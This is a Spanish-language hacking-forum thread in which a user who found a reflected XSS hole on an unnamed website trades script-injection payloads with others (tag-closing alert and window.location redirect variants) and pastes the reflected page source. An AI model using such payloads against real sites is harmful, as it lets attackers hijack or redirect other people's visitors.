elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 05:31  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  Ayuda con XSS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con XSS  (Leído 1,251 veces)
kamikazeeee

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Ayuda con XSS
« en: 31 Octubre 2010, 06:03 »

hola! les cuento, encontré una web vulnerable a xss, intenté de varias formas pero ninguna funcionó, Pero Sí con ésta:

Código:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>

muestra el alert.

ahora, quiziera redireccionar la página a otro lugar, cómo podría hacerlo?

intenté con
Código:
</TITLE><SCRIPT>window.location = "http://www.url.com";</SCRIPT>
pero no va

Disculpas por la ignorancia, y gracias por la ayuda!

En línea
Shell Root


Desconectado Desconectado

Mensajes: 2.456


Alex Jurado


Ver Perfil WWW
Re: Ayuda con XSS
« Respuesta #1 en: 31 Octubre 2010, 16:53 »

Simon así es,
Código
</title><script>window.location = "http://www.mozilla.com/es-MX/";</script>
« Última modificación: 31 Octubre 2010, 16:57 por Shell Root » En línea

---
kamikazeeee

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: Ayuda con XSS
« Respuesta #2 en: 31 Octubre 2010, 18:41 »

Simon así es,
Código
</title><script>window.location = "http://www.mozilla.com/es-MX/";</script>

Eso es lo que dije que ya probé, y no funcionó :/
En línea
xassiz~


Desconectado Desconectado

Mensajes: 428



Ver Perfil WWW
Re: Ayuda con XSS
« Respuesta #3 en: 31 Octubre 2010, 20:08 »

Revisa el código que le queda a la página después de su ejecución, a ver dónde está el fallo :P
En línea

kamikazeeee

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: Ayuda con XSS
« Respuesta #4 en: 31 Octubre 2010, 20:28 »

El código queda así:

Código:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></TITLE><SCRIPT>alert("XSS");</SCRIPT></title><meta content="</TITLE><SCRIPT>alert("XSS");</SCRIPT>" property="og:title"/><meta name="description" content="</TITLE><SCRIPT>alert("XSS");</SCRIPT>"
En línea
xassiz~


Desconectado Desconectado

Mensajes: 428



Ver Perfil WWW
Re: Ayuda con XSS
« Respuesta #5 en: 31 Octubre 2010, 21:37 »

Prueba:
Código
</title>"><script>window.location.href='http://www.mozilla.com/es-MX/';</script>
En línea

kamikazeeee

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: Ayuda con XSS
« Respuesta #6 en: 1 Noviembre 2010, 00:19 »

no funcionó
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines